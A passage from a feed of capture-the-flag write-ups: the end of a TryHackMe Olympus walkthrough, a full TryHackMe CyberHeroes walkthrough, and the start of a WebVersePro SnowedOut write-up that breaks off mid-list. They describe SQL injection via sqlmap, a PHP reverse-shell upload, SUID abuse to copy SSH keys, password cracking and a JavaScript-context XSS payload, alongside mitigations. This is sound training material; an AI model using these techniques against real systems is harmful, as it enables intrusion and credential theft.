&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;~webmaster/search.php&lt;/code&gt; (&lt;code&gt;search&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Full DB dump: flag, user hashes, chat log (root cause of the whole chain)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Weak / reused password&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;prometheus&lt;/code&gt; account&lt;/td&gt;
&lt;td&gt;Cracked via rockyou (&lt;code&gt;summertime&lt;/code&gt;); unlocked CMS admin and chat app&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Randomized-filename upload protection defeated&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;chat.olympus.thm&lt;/code&gt; upload + &lt;code&gt;chats&lt;/code&gt; table&lt;/td&gt;
&lt;td&gt;Real stored filename recoverable via SQLi, enabling direct access to an uploaded PHP reverse shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Unrestricted file upload&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;chat.olympus.thm&lt;/code&gt; upload endpoint&lt;/td&gt;
&lt;td&gt;RCE as &lt;code&gt;www-data&lt;/code&gt; via uploaded &lt;code&gt;.php&lt;/code&gt; shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;SUID utility usable as arbitrary-file-read-as-owner&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/usr/bin/cputils&lt;/code&gt; (SUID &lt;code&gt;zeus&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;www-data&lt;/code&gt; used it to copy &lt;code&gt;zeus&lt;/code&gt;'s SSH private key out of an otherwise inaccessible &lt;code&gt;.ssh&lt;/code&gt; directory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Weak SSH key passphrase&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;zeus&lt;/code&gt;'s &lt;code&gt;id_rsa&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Cracked via rockyou (&lt;code&gt;snowflake&lt;/code&gt;); gave interactive SSH as &lt;code&gt;zeus&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Leftover password-protected backdoor webshell, password recoverable via file permissions&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/var/www/html/&amp;lt;random-dir&amp;gt;/VIGQFQFMYOST.php&lt;/code&gt;, &lt;code&gt;root:zeus&lt;/code&gt; directory perms&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;zeus&lt;/code&gt; group membership let it read the hardcoded backdoor password; running it gave a root shell&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;olympus.thm (port 80)
  |
  |-- dirsearch/ffuf -&amp;gt; /~webmaster/ (Victor CMS 1.0)
        |
        |-- searchsploit -&amp;gt; known 'search' SQLi (EDB-48734)
              |
              |-- sqlmap -&amp;gt; dump DB
                    |-- flag table  -&amp;gt; flag 1
                    |-- users table -&amp;gt; bcrypt hashes
                          |
                          |-- john + rockyou -&amp;gt; prometheus:summertime
                                |
                                |-- CMS admin login -&amp;gt; confirms chat.olympus.thm
                                      |
                                      |-- chat.olympus.thm login (same creds)
                                            |
                                            |-- upload rev.php
                                            |-- chats table (via SQLi) -&amp;gt; real uploaded filename
                                            |-- request shell -&amp;gt; www-data
                                                  |
                                                  |-- SUID cputils (owned by zeus)
                                                  |     -&amp;gt; copy zeus's authorized_keys + id_rsa
                                                  |
                                                  |-- ssh2john + john + rockyou -&amp;gt; id_rsa passphrase: snowflake
                                                        |
                                                        |-- ssh as zeus -&amp;gt; flag 2 (user)
                                                              |
                                                              |-- find -user zeus -&amp;gt; root:zeus web directory
                                                              |-- read backdoor PHP source -&amp;gt; hardcoded password
                                                              |-- trigger backdoor (?ip=&amp;amp;port=) -&amp;gt; root
                                                                    |
                                                                    |-- flag 3 (root)
                                                                    |-- grep -r "flag{" / -&amp;gt; flag 4 (bonus, /etc/ssl/private/.b0nus.fl4g)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Parameterize the &lt;code&gt;search.php&lt;/code&gt; query (prepared statements) to close the
SQL injection entry point the entire chain depends on.&lt;/li&gt;
&lt;li&gt;Enforce a password policy / reject breached passwords so accounts like
&lt;code&gt;prometheus&lt;/code&gt; and SSH keys like &lt;code&gt;zeus&lt;/code&gt;'s aren't crackable from a common
wordlist in minutes.&lt;/li&gt;
&lt;li&gt;Do not rely on an unguessable filename as the only upload control -
pair it with strict extension/MIME allow-listing, storage outside the
webroot, and disabling script execution in the upload directory; and
never let application data (the &lt;code&gt;chats&lt;/code&gt; table) hold the mapping from a
guessable identifier back to the real protected filename.&lt;/li&gt;
&lt;li&gt;Remove SUID bits from utilities that don't need them, or have them
validate that the invoking user actually owns/can already access the
source path before copying it - &lt;code&gt;cputils&lt;/code&gt; should not let &lt;code&gt;www-data&lt;/code&gt;
read &lt;code&gt;zeus&lt;/code&gt;'s private files just because the binary itself is owned by
&lt;code&gt;zeus&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Audit and remove leftover attacker tooling (backdoor webshells,
planted scripts) instead of leaving it in place with only a hardcoded
password for protection - and don't leave application/webroot
directories group-readable to standard user accounts.&lt;/li&gt;
&lt;li&gt;Rotate and re-secure the box entirely after any confirmed compromise;
the &lt;code&gt;prometheus.txt&lt;/code&gt; note makes clear a prior attacker had already
established persistent root access before this engagement began.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe - CyberHeroes Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 09 Sep 2026 15:28:58 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-cyberheroes-writeup-6hj</link>
      <guid>https://dev.to/exploitnotes/tryhackme-cyberheroes-writeup-6hj</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;CyberHeros is an easy-rated web challenge built on the iPortfolio Bootstrap template. The site advertises a "login page" challenge directly in its About section. Inspection of &lt;code&gt;login.html&lt;/code&gt; reveals that authentication is performed entirely client-side in JavaScript, with the username hardcoded in plaintext and the password obfuscated by a trivial string-reversal function. Once the credentials are recovered from the page source, the same client script reveals the exact filename of a flag file hosted on the webserver, constructed dynamically from the submitted username and password. No exploitation of the server itself is required - the vulnerability is a client-side logic flaw combined with a predictable, credential-derived file path.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Target: &lt;code&gt;&amp;lt;MACHINE_IP&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Category: Web&lt;/li&gt;
&lt;li&gt;Difficulty: Easy&lt;/li&gt;
&lt;li&gt;Key weakness: Client-side authentication with hardcoded/obfuscated credentials in JS, plus a predictable flag filename built from those credentials&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;p&gt;Confirmed host is up and scanned open ports:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -A -Pn &amp;lt;MACHINE_IP&amp;gt; -o nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Results:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp open  http    Apache httpd 2.4.48 (Ubuntu)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;code&gt;http-title&lt;/code&gt; identified the site as "CyberHeros : Index", running the iPortfolio Bootstrap template.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Initial Web Enumeration
&lt;/h2&gt;

&lt;p&gt;Pulled the index page and reviewed static assets (aos.js, purecounter.js, validate.js) - all confirmed to be unmodified template vendor libraries, no custom logic there.&lt;/p&gt;

&lt;p&gt;The index page's About section directly hints at the objective:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;We find vulnerabilities in the website legally... find the vuln on our login page and login to join us.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Nav bar links to &lt;code&gt;login.html&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Directory Enumeration
&lt;/h2&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gobuster dir -u http://&amp;lt;MACHINE_IP&amp;gt; -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 50
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Notable results:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;assets                (Status: 301)
changelog.txt         (Status: 200) [Size: 2756]
index.html            (Status: 200) [Size: 6568]
login.html            (Status: 200) [Size: 5753]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;No PHP backend, no admin panel, no backup files - confirming the target is static/client-side only.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Inspecting login.html
&lt;/h2&gt;

&lt;p&gt;Fetched the login page source directly:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;/login.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The page ships an inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; block containing the entire authentication logic:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function authenticate() {
  a = document.getElementById('uname')
  b = document.getElementById('pass')
  const RevereString = str =&amp;gt; [...str].reverse().join('');
  if (a.value=="h3ck3rBoi" &amp;amp; b.value==RevereString("54321@terceSrepuS")) {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (this.readyState == 4 &amp;amp;&amp;amp; this.status == 200) {
        document.getElementById("flag").innerHTML = this.responseText;
      }
    };
    xhttp.open("GET", "RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_"+a.value+"_"+b.value+".txt", true);
    xhttp.send();
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Two things fall out of this immediately:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The credential check happens entirely client-side, with the username hardcoded (&lt;code&gt;h3ck3rBoi&lt;/code&gt;) and the password only lightly obfuscated via string reversal.&lt;/li&gt;
&lt;li&gt;On a successful check, the script requests a flag file whose name is dynamically built from the raw username and password values - meaning the filename itself is fully derivable from the source, with no need to actually trigger the JS in a browser.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  5. Recovering the Credentials
&lt;/h2&gt;

&lt;p&gt;Reversing the obfuscated password string by hand:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;54321@terceSrepuS  -&amp;gt;  SuperSecret@12345
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Recovered credentials:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;username: h3ck3rBoi
password: SuperSecret@12345
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
  
  
  6. Retrieving the Flag
&lt;/h2&gt;

&lt;p&gt;Reconstructed the flag filename directly from the JS template string and requested it with curl, bypassing the browser/JS entirely:&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl "http://&amp;lt;MACHINE_IP&amp;gt;/RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_h3ck3rBoi_SuperSecret@12345.txt"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Response:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Congrats Hacker, you made it !!
Go ahead and nail other challenges as well :D

flag{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;




&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Client-side authentication logic&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;login.html&lt;/code&gt; inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Credentials and pass/fail logic fully readable in page source, no server-side verification&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Weak obfuscation (string reversal) of password&lt;/td&gt;
&lt;td&gt;Inline JS &lt;code&gt;RevereString()&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Trivial to reverse by hand, provides no real protection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Predictable, credential-derived sensitive file path&lt;/td&gt;
&lt;td&gt;Inline JS &lt;code&gt;xhttp.open(...)&lt;/code&gt; URL construction&lt;/td&gt;
&lt;td&gt;Flag/secret file directly retrievable via curl once credentials are known, without ever executing the JS or submitting the form&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Recon (nmap: 22, 80 open)&lt;br&gt;
    |&lt;br&gt;
    v&lt;br&gt;
Enumerate index.html -&amp;gt; hints at login.html&lt;br&gt;
    |&lt;br&gt;
    v&lt;br&gt;
gobuster -&amp;gt; confirms login.html, no backend endpoints&lt;br&gt;
    |&lt;br&gt;
    v&lt;br&gt;
curl login.html -&amp;gt; read inline &amp;lt;script&amp;gt; source&lt;br&gt;
    |&lt;br&gt;
    v&lt;br&gt;
Extract hardcoded username + reverse obfuscated password&lt;br&gt;
    |&lt;br&gt;
    v&lt;br&gt;
Derive flag filename from JS template string (no browser needed)&lt;br&gt;
    |&lt;br&gt;
    v&lt;br&gt;
curl flag file directly -&amp;gt; flag captured&lt;br&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  Mitigations&lt;br&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never perform authentication decisions client-side; all credential validation must happen on a trusted server, with the client only submitting credentials over an authenticated session.&lt;/li&gt;
&lt;li&gt;Do not rely on obfuscation (encoding, reversal, simple ciphers) as a substitute for real access control - anything shipped to the client is fully readable by the client.&lt;/li&gt;
&lt;li&gt;Do not derive sensitive resource paths (flags, secrets, admin files) from data that is already exposed to the client, such as hardcoded credentials in JS - this makes the resource trivially reachable without ever satisfying the intended check.&lt;/li&gt;
&lt;li&gt;Serve sensitive files only behind server-side, session-validated access checks, and avoid predictable or pattern-based filenames for anything not meant to be publicly enumerable.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>WebVersePro : SnowedOut writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Tue, 01 Sep 2026 13:03:18 +0000</pubDate>
      <link>https://dev.to/exploitnotes/webversepro-snowedout-writeup-10jn</link>
      <guid>https://dev.to/exploitnotes/webversepro-snowedout-writeup-10jn</guid>
      <description>&lt;h2&gt;
  
  
  1. Overview
&lt;/h2&gt;

&lt;p&gt;The target is "Pinehollow Plow Tracker," a fictional city snow-plow dashboard running on PHP 8.2.33 behind Cloudflare. The page accepts a &lt;code&gt;zone&lt;/code&gt; GET parameter that "centers" the map on a named route zone. The objective is to get the app to reveal the flag.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Recon
&lt;/h2&gt;

&lt;p&gt;Fetching the root page:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three things stand out in the HTML:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;zone&lt;/code&gt; value is reflected into an inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; block that builds a config object:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;  &lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;nonce=&lt;/span&gt;&lt;span class="s"&gt;"..."&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;CFG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;zone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Citywide&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;center&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="mf"&gt;44.86&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;93.42&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="na"&gt;updatedEvery&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;900&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;A hidden solve banner sits in the markup, unused until triggered:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;  &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"wv-solve"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"pt-solve"&lt;/span&gt; &lt;span class="na"&gt;hidden&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;poll.js&lt;/code&gt; polls a status endpoint every 2 seconds and reveals that banner (with the flag) once the server reports success:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;  &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/__status.php&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;include&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;solved&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;reveal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checking that endpoint directly confirms a simple state machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__status.php
&lt;span class="c"&gt;# {"solved":false,"flag":null}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the actual win condition is flipping &lt;code&gt;solved&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; server-side - not merely getting an &lt;code&gt;alert()&lt;/code&gt; box to pop in a browser. &lt;code&gt;robots.txt&lt;/code&gt; and the other static assets (&lt;code&gt;map.js&lt;/code&gt;, &lt;code&gt;plow.css&lt;/code&gt;) contain nothing else of interest; &lt;code&gt;map.js&lt;/code&gt; reads &lt;code&gt;CFG.zone&lt;/code&gt; and writes it back to the DOM safely via &lt;code&gt;textContent&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Confirming the Injection Point
&lt;/h2&gt;

&lt;p&gt;Testing whether &lt;code&gt;zone&lt;/code&gt; is escaped when reflected into the inline script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;'https://.../?zone=test123'&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'var CFG = {.*}'&lt;/span&gt;
&lt;span class="c"&gt;# var CFG = {zone:"test123", center:[44.86,-93.42], updatedEvery:900};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trying to break out of the string with a JS-context payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-G&lt;/span&gt; &lt;span class="s1"&gt;'https://.../'&lt;/span&gt; &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'zone="};alert(1);//'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'var CFG = {.*}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;CFG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;zone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="c1"&gt;//", center:[44.86,-93.42], updatedEvery:900};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The value is interpolated into the script with &lt;strong&gt;no escaping of quotes&lt;/strong&gt;. &lt;code&gt;zone:""&lt;/code&gt; closes the string and the object literal early, &lt;code&gt;};&lt;/code&gt; ends the statement, &lt;code&gt;alert(1);&lt;/code&gt; becomes live JavaScript, and the trailing &lt;code&gt;//&lt;/code&gt; comments out the rest of the original line so the page still parses cleanly. Opening the crafted URL in a browser confirms the &lt;code&gt;alert(1)&lt;/code&gt; fires.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Reading the CSP Header
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-I&lt;/span&gt; https://.../ | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; content-security
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;content&lt;/span&gt;-&lt;span class="n"&gt;security&lt;/span&gt;-&lt;span class="n"&gt;policy&lt;/span&gt;-&lt;span class="n"&gt;report&lt;/span&gt;-&lt;span class="n"&gt;only&lt;/span&gt;: &lt;span class="n"&gt;default&lt;/span&gt;-&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="s1"&gt;'self'&lt;/span&gt;; &lt;span class="n"&gt;script&lt;/span&gt;-&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="s1"&gt;'nonce-&amp;lt;per-response&amp;gt;'&lt;/span&gt; &lt;span class="s1"&gt;'self'&lt;/span&gt;; &lt;span class="n"&gt;style&lt;/span&gt;-&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="s1"&gt;'self'&lt;/span&gt; &lt;span class="s1"&gt;'unsafe-inline'&lt;/span&gt;; &lt;span class="n"&gt;img&lt;/span&gt;-&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="s1"&gt;'self'&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;:; &lt;span class="n"&gt;report&lt;/span&gt;-&lt;span class="n"&gt;uri&lt;/span&gt; /&lt;span class="err"&gt;__&lt;/span&gt;&lt;span class="n"&gt;csp&lt;/span&gt;-&lt;span class="n"&gt;report&lt;/span&gt;.&lt;span class="n"&gt;php&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two details matter:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
